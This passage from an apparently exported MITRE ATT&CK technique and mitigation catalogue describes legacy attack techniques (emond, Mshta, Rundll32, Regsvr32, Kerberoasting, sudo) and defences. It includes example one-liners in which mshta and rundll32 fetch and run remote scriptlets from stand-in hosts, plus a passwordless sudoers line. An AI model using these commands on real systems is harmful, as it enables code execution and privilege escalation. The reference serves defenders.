The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the [Launch Daemon](<https://attack.mitre.org/techniques/T1543/004>) configuration file at `/System/Library/LaunchDaemons/com.apple.emond.plist`.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event

occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](<https://attack.mitre.org/techniques/T1543/004>) service.

Rc.common - T1163

During the boot process, macOS executes `source /etc/rc.common`, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).

Proxy - T1090

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](<https://attack.mitre.org/software/S0040>), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

The tag is: *misp-galaxy:mitre-attack-pattern="Proxy - T1090"*

Mshta - T1170

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension `<code>.hta</code>`. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)

Files may be executed by mshta.exe through an inline script: `<code>mshta`

```
vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct""))")</code>
```

They may also be executed directly from URLs: `<code>mshta http[:]//webserver/payload[.]hta</code>`

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)

Screensaver - T1180

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in `<code>C:\Windows\System32</code>`, and `<code>C:\Windows\sysWOW64</code>` on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (`<code>HKCU\Control Panel\Desktop</code>`) and could be manipulated to achieve persistence:

- `<code>SCRNSAVE.exe</code>` - set to malicious PE path
- `<code>ScreenSaveActive</code>` - set to '1' to enable the screensaver
- `<code>ScreenSaverIsSecure</code>` - set to '0' to not require a password to unlock

- `ScreenSaveTimeout` - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)

Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")` This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Kerberoasting - T1208

Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](<https://attack.mitre.org/techniques/T1110>) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](<https://attack.mitre.org/techniques/T1078>). (Citation: SANS Attacking Kerberos Nov 2014)

Masquerading - T1036

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusible system utilities to evade security monitoring is also a form of [Masquerading](<https://attack.mitre.org/techniques/T1036>). (Citation: LOLBAS Main Site)

Scripting - T1064

This technique has been deprecated. Please use [Command and Scripting Interpreter](<https://attack.mitre.org/techniques/T1059>) where appropriate.

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](<https://attack.mitre.org/techniques/T1086>) but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1193>) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](<https://attack.mitre.org/techniques/T1203>), where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)

Bootkit - T1067

A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)

Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

Master Boot Record

The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

Volume Boot Record

The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.

PowerShell - T1086

PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be

executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including [Empire](<https://attack.mitre.org/software/S0363>), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)

Timestomp - T1099

Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](<https://attack.mitre.org/techniques/T1036>) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

Regsvr32 - T1117

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](<https://attack.mitre.org/techniques/T1122>). (Citation: Carbon Black Squiblydoo Apr 2016)

Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in `~/Library/Keychains/`, `/Library/Keychains/`, and `/Network/Library/Keychains/`. (Citation: Wikipedia keychain) The `security` command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase

for the keychain is the user's logon credentials.

Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as `launchctl submit -l <labelName> —/Path/to/thing/to/execute "arg" "arg" "arg"`. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

Source - T1153

This technique has been deprecated and should no longer be used.

The `source` command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways `source /path/to/filename [arguments]` or `.This technique has been deprecated and should no longer be used. /path/to/filename [arguments]`. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

The tag is: *misp-galaxy:mitre-attack-pattern="Source - T1153"*

Table 4335. Table References

Links

Trap - T1154

The `trap` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like `ctrl+c` and `ctrl+d`. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format `trap 'command list' signals` where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

HISTCONTROL - T1148

The `HISTCONTROL` environment variable keeps track of what should be saved by the `history` command and eventually into the `~/.bash_history` file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". `HISTCONTROL` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that " ls" will not be saved, but "ls" would be saved by history. `HISTCONTROL` does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

The tag is: *misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"*

Defacement - T1491

Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](<https://attack.mitre.org/techniques/T1491>) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](<https://attack.mitre.org/techniques/T1491>) in order to cause user discomfort, or to pressure compliance with accompanying messages.

The tag is: *misp-galaxy:mitre-attack-pattern="Defacement - T1491"*

Table 4338. Table References

Links
https://attack.mitre.org/techniques/T1491

AppleScript - T1155

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the `osalang` program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via `osascript /path/to/script` or `osascript -e "script here"`.

Geofencing - T1581

Adversaries may use a device's geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)

[Geofencing](<https://attack.mitre.org/techniques/T1581>) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device's location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.

One method to accomplish [Geofencing](<https://attack.mitre.org/techniques/T1581>) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](<https://attack.mitre.org/techniques/T1581>) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11

introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include “Allow only while using the app”, which will effectively prohibit background location collection.(Citation: Android Geofencing API)

Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.(Citation: Apple Location Services)

[Geofencing](<https://attack.mitre.org/techniques/T1581>) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](<https://attack.mitre.org/techniques/T1411>)s and/or advertisements.

The tag is: `misp-galaxy:mitre-attack-pattern="Geofencing - T1581"`

Emond - T1519

Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](<https://attack.mitre.org/techniques/T1160>) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `/sbin/emond` will load any rules from the `/etc/emond.d/rules/` directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the [Launch Daemon](<https://attack.mitre.org/techniques/T1160>) configuration file at `/System/Library/LaunchDaemons/com.apple.emond.plist`.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event

occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](<https://attack.mitre.org/techniques/T1160>) service.

Hooking - T1617

Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.

The tag is: *misp-galaxy:mitre-attack-pattern="Hooking - T1617"*

Table 4342. Table References

Links
https://attack.mitre.org/techniques/T1617

Sudo - T1169

The sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL` (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

Hooking - T1179

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)
- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by [Rootkit](<https://attack.mitre.org/techniques/T1014>)s to conceal

files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

Phishing - T1566

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.

Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. Windows Management Instrumentation Event Subscription Mitigation - T1084

Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation:

FireEye WMI 2015)

Custom Command and Control Protocol Mitigation - T1094

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

SIP and Trust Provider Hijacking Mitigation - T1198

Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>). (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.

Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.

Deploy Compromised Device Detection Method - M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

Exploitation of Remote Services Mitigation - T1210

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

DLL Search Order Hijacking Mitigation - T1038

Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. `%SYSTEMROOT%`) to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode` (Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

File System Permissions Weakness Mitigation - T1044

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC's privilege elevation for standard users `<code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>` to automatically deny elevation requests, add: `<code>"ConsentPromptBehaviorUser"=dword:00000000</code>` (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: `<code>"EnableInstallerDetection"=dword:00000001</code>`. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: `<code>"EnableInstallerDetection"=dword:00000000</code>`. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.

Indicator Removal from Tools Mitigation - T1066

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where

appropriate. (Citation: TechNet Applocker vs SRP)

Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.

Extra Window Memory Injection Mitigation - T1181

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Network Denial of Service Mitigation - T1498

When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)

Exploit Public-Facing Application Mitigation - T1190

Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.

Compile After Delivery Mitigation - T1500

This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Password Policy Discovery Mitigation - T1201

